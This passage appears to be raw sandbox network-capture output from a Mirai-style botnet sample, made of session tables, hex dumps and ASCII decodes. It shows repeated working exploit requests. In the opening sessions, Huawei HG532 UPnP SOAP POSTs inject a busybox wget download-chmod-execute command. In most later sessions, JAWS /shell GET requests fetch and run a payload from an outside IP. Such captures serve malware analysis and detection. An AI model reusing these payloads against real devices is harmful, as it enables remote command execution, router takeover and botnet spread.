65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:25:11.302711964 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:25:19.237591982 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:25:35.111351013 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
449	192.168.2.23	39418	146.71.50.195	23

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:03.551383972 CET	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 32 31 32 2e 31 30 32 2e 34 31 2e 32 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 31 2d 30 32 20 31 33 3a 32 35 3a 30 33 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 212.102.41.2MAC Address: Server Time: 2024-01-02 13:25:03Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
450	192.168.2.23	33018	35.231.230.60	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:03.820713997 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
451	192.168.2.23	42196	20.65.30.212	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:03.828275919 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
452	192.168.2.23	39444	146.71.50.195	23

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:03.879776001 CET	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 32 31 32 2e 31 30 32 2e 34 31 2e 32 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 31 2d 30 32 20 31 33 3a 32 35 3a 30 33 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 212.102.41.2MAC Address: Server Time: 2024-01-02 13:25:03Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
453	192.168.2.23	35330	146.148.255.228	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:03.972569942 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
454	192.168.2.23	56028	52.24.96.44	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:04.184391022 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
455	192.168.2.23	48104	2.19.103.220	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:04.208897114 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:04.447567940 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Tue, 02 Jan 2024 05:25:04 GMT Date: Tue, 02 Jan 2024 05:25:04 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 31 37 36 30 31 33 30 32 26 23 34 36 3b 31 37 30 34 31 37 33 31 30 34 26 23 34 36 3b 32 36 38 35 31 33 34 31 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.17601302.1704173104.26851341</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
456	192.168.2.23	39458	146.71.50.195	23

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:04.209218025 CET	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 32 31 32 2e 31 30 32 2e 34 31 2e 32 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 31 2d 30 32 20 31 33 3a 32 35 3a 30 33 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 212.102.41.2MAC Address: Server Time: 2024-01-02 13:25:03Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
457	192.168.2.23	58590	175.126.123.116	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:04.257668972 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:04.549006939 CET	394	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Tue, 02 Jan 2024 05:25:04 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 214 Connection: keep-alive Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 2f 73 68 65 6c 6c 0a 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access /shellon this server.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
458	192.168.2.23	54570	183.111.183.230	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:04.271399975 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
459	192.168.2.23	33844	54.179.83.52	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:04.468215942 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
460	192.168.2.23	49444	2.189.137.17	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:04.484177113 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:04.797456026 CET	443	IN	HTTP/1.1 403 Forbidden Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 337 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 36 22 3e 3c 74 69 74 6c 65 3e 4e 54 4c 33 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 69 66 72 61 6d 65 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 31 30 2e 31 30 2e 33 34 2e 33 36 2f 3f 74 79 70 65 3d 49 6e 76 61 6c 69 64 20 4b 65 79 77 6f 72 64 26 70 6f 6c 69 63 79 3d 4d 61 69 6e 50 6f 6c 69 63 79 20 22 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 20 31 30 30 25 3b 20 68 65 69 67 68 74 3a 20 31 30 30 25 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 76 73 70 61 63 65 3d 22 30 22 20 68 73 70 61 63 65 3d 22 30 22 3e 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1256"><title>NTL3</title></head><body><iframe src="http://10.10.34.36/?type=Invalid Keyword&policy=MainPolicy " style="width: 100%; height: 100%" scrolling="no" marginwidth="0" marginheight="0" frameborder="0" vspace="0" hspace="0"></iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
461	192.168.2.23	39484	146.71.50.195	23

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:04.536232948 CET	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 32 31 32 2e 31 30 32 2e 34 31 2e 32 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 31 2d 30 32 20 31 33 3a 32 35 3a 30 34 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 212.102.41.2MAC Address: Server Time: 2024-01-02 13:25:04Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
462	192.168.2.23	39498	146.71.50.195	23

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:04.865444899 CET	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 32 31 32 2e 31 30 32 2e 34 31 2e 32 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 31 2d 30 32 20 31 33 3a 32 35 3a 30 34 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 212.102.41.2MAC Address: Server Time: 2024-01-02 13:25:04Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
463	192.168.2.23	32936	50.228.64.49	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:04.956264019 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
464	192.168.2.23	33170	23.217.78.184	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:04.964746952 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:05.131223917 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Tue, 02 Jan 2024 05:25:05 GMT Date: Tue, 02 Jan 2024 05:25:05 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 35 35 61 36 66 37 62 64 26 23 34 36 3b 31 37 30 34 31 37 33 31 30 35 26 23 34 36 3b 31 34 39 64 61 65 63 63 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.55a6f7bd.1704173105.149daecc</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
465	192.168.2.23	48046	52.31.77.178	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:05.043016911 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:05.288970947 CET	349	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: awselb/2.0 Date: Tue, 02 Jan 2024 05:25:05 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
466	192.168.2.23	52362	45.243.32.109	80

Timestamp	Bytes transferred	Direction	Data
